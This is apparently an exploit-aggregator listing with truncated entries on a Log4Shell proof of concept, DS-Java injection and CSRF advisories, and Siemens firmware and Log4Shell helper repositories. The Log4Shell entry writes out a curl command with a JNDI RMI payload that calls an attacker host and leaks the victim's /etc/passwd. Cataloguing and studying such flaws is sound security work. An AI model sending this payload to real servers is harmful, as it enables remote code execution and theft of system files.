cve-2021-44228--spring-hibernate

CVE-2021-44228 POC - Spring / Hibernate 该 POC 使用 Spring / Hibernate，不过类似的 rmi - 反序列化 方法也可用于触发任何反序列化漏洞 TL;DR $ docker-compose up $ curl -X POST -H 'Content-Type: text/plain' localhost:8080 --data-binary '$jndi:rmi://exploit:10000/a' 你应该会看到受害者的 /etc/passwd 内容出现在 attacker 容器的日志中。 你可以替换 exploit...

DS-Java 注入漏洞

DS-Java is a forum system built on SSH Struts2+Spring+Hibernate by sixteen individual developers. DS-Java 1.0 version of the injection vulnerability exists, the vulnerability stems from the file src/com/phn/action/FileUpload.java in the uploadUserPic.action function of the fileUpload parameter of...

DS-Java 安全漏洞

DS-Java is a forum system built on SSH Struts2+Spring+Hibernate by sixteen individual developers. A security vulnerability exists in DS-Java version 1.0, which stems from vulnerability to cross-site request forgery attacks...

Exploit for Uncontrolled Resource Consumption in Siemens 6Bk1602-0Aa12-0Tp0_Firmware

CVE-2021-44228 Helpers Helpers, examples, and exploits for cv...